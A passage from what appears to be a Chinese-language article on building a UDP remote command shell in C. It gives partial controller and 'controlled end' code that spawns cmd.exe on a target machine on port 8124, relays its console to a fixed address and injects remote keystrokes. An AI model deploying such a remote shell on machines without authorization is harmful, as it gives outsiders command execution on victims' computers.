WSACleanup(); BOOL RecvSreen() { int fromlen = sizeof(toSockaddr); DWORD NumberOfcharsWriten; COORD dwWriteCoord; SREEN_INFO buffer; //从 hsocket 中接收发送端发来的控制台屏幕缓冲区数据 if( 16 > recvfrom( hsocket, (PCHAR)(&buffer) , sizeof(SREEN_INFO) , 0 , &toSockaddr, &fromlen ) ) { return TRUE; } if ( buffer.packhead.packType != KEY_SREEN) { return TRUE; } if ( buffer.packhead.SreenBufferSize != 24036) { return TRUE; } if( !memcmp( &buffer.consoleBuffer.wCodePageID , &cmdBuffer , 6000) ) { return TRUE; } dwWriteCoord.X = 0; //写屏幕缓冲区的起始位置 dwWriteCoord.Y = 0; //将接收到的数据显示到当前的控制台屏幕中 WriteConsoleOutputAttribute( hConsoleOutput , (const WORD *)(&buffer.consoleBuffer.Attribute), 8000 , dwWriteCoord , &NumberOfcharsWriten); WriteConsoleOutputCharacter( hConsoleOutput , (const char *)(&buffer.consoleBuffer.Character), 8000 , dwWriteCoord , &NumberOfcharsWriten); SetConsoleScreenBufferSize( hConsoleOutput , buffer.consoleBuffer.csb.dwSize ); SetConsoleCursorPosition( hConsoleOutput , buffer.consoleBuffer.csb.dwCursorPosition); SetConsoleOutputCP( buffer.consoleBuffer.wCodePageID ); memcpy( &cmdBuffer , &buffer.consoleBuffer , 6000); return TRUE; } BOOL KeyboardEvent( DWORD dwMilliseconds) { INPUT_RECORD Buffer; DWORD NumberOfEventsRead; HANDLE input; input = GetStdHandle( STD_INPUT_HANDLE ); //获得当前的标准输入句柄 if( WAIT_OBJECT_0 == WaitForSingleObject( input , dwMilliseconds ) ) { //将当前控制台的输入数据存入 buffer if( ReadConsoleInput( input , &Buffer , 1 , &NumberOfEventsRead)) { if ( Buffer.EventType == KEY_EVENT ) { //将本地控制端的控制台输入数据发送给远程被控端 SendKeyInfo( KEY_NO_CTRL , &Buffer , sizeof(INPUT_RECORD) ); } } } return TRUE; } 在目标机上运行远程被控端程序。该程序首先绑定 UDP 8124 端口。随后打开一个控制 台,并创建一个新的控制台屏幕缓冲区且将其设置为当前控制台的屏幕缓冲区。然后创建一 个 cmd.exe 进程,该进程的输入输出都会通过刚才创建的控制台屏幕缓冲区显示出来。同时 该缓冲 区中的数据都会通 过 UDP 包向接 收端程序 发送(此处使用的地 址为 192.168.123.119),而接收到的键盘数据也会写入当前的屏幕缓冲区当中,从而实现了远程 运行各种 CMD 命令的功能。远程被控端程序如图三所示: ![]()
远程被控端程序的部分关键代码如下: int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { ...... //创建互斥,避免多次运行 HANDLE MutexClient = CreateMutex( NULL,FALSE,"RemoteCMDS"); if (GetLastError()==ERROR_ALREADY_EXISTS) { MessageBox( 0,"RemoteCMDS has running...",NULL,MB_OK ); return 0; } ...... //绑定 UDP 端口 UdpPort = htons(8124); bindSockaddr.sin_family = AF_INET; bindSockaddr.sin_port = UdpPort; bindSockaddr.sin_addr.s_addr = INADDR_ANY; if( SOCKET_ERROR == bind( hsocket ,(const struct sockaddr *)&bindSockaddr , sizeof(bindSockaddr) ) ) { MessageBox( 0,"Bind RemoteCMD port fail...",NULL,MB_OK ); CloseHandle( MutexClient ); closesocket( hsocket ); WSACleanup(); return 0; } AllocConsole(); //为调用进程分配一个新的控制台 即打开一个控制台窗口 ShowWindow( GetConsoleWindow(), SW_SHOW ); //获得控制台窗口句并,并将控制 |